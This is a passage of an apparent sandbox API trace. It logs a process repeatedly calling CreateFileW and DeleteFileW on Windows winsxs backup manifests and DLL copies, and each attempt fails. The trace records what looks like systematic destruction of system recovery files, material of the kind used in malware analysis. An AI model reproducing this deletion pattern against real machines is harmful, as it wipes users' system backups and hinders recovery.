(lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.234] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d.manifest")) returned 0 [0066.234] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d_rpcss.dll_fd3e269b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d_rpcss.dll_fd3e269b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.234] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d_rpcss.dll_fd3e269b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-rpcss_31bf3856ad364e35_6.1.7601.17514_none_c7f0e16b547f887d_rpcss.dll_fd3e269b")) returned 0 [0066.234] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.235] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd.manifest")) returned 0 [0066.235] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_ole32.dll.mui_5035d60a" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_ole32.dll.mui_5035d60a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.235] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_ole32.dll.mui_5035d60a" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_ole32.dll.mui_5035d60a")) returned 0 [0066.235] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_oleres.dll.mui_ff00d4cb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_oleres.dll.mui_ff00d4cb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.235] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_oleres.dll.mui_ff00d4cb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1474adc65759a4dd_oleres.dll.mui_ff00d4cb")) returned 0 [0066.236] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.236] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea.manifest")) returned 0 [0066.236] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_comcat.dll_8571d1d1" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_comcat.dll_8571d1d1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.236] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_comcat.dll_8571d1d1" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_comcat.dll_8571d1d1")) returned 0 [0066.236] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_oleres.dll_2eae8210" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_oleres.dll_2eae8210"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.237] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_oleres.dll_2eae8210" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base_31bf3856ad364e35_6.1.7600.16385_none_69e3281e403684ea_oleres.dll_2eae8210")) returned 0 [0066.244] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.244] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed.manifest")) returned 0 [0066.244] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.245] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2a1f11f2ea9181ed_comctl32.dll.mui_0da4e682")) returned 0 [0066.245] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.245] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344.manifest")) returned 0 [0066.245] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.246] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_d05ef37bdb11d344_comctl32.dll.mui_0da4e682")) returned 0 [0066.246] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.246] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f.manifest")) returned 0 [0066.246] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.246] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7b686a16c899af6f_comctl32.dll.mui_0da4e682")) returned 0 [0066.247] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.247] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e.manifest")) returned 0 [0066.247] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.247] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_18a24a3dbedfab6e_comctl32.dll.mui_0da4e682")) returned 0 [0066.248] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.248] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008.manifest")) returned 0 [0066.248] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.248] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_de-de_15cddf79c0b60008_comctl32.dll.mui_0da4e682")) returned 0 [0066.249] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.249] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896.manifest")) returned 0 [0066.249] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.249] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_be640d0cafcb6896_comctl32.dll.mui_0da4e682")) returned 0 [0066.261] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.261] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd.manifest")) returned 0 [0066.261] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.261] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bebeb572af940bcd_comctl32.dll.mui_0da4e682")) returned 0 [0066.262] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.262] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72.manifest")) returned 0 [0066.262] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.262] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_es-es_be8a1256afbafd72_comctl32.dll.mui_0da4e682")) returned 0 [0066.262] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.262] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01.manifest")) returned 0 [0066.263] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.263] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_et-ee_b849dde6b3c0da01_comctl32.dll.mui_0da4e682")) returned 0 [0066.263] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.263] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c.manifest")) returned 0 [0066.263] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.263] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_5da51703a4d4ef9c_comctl32.dll.mui_0da4e682")) returned 0 [0066.264] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.264] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4.manifest" 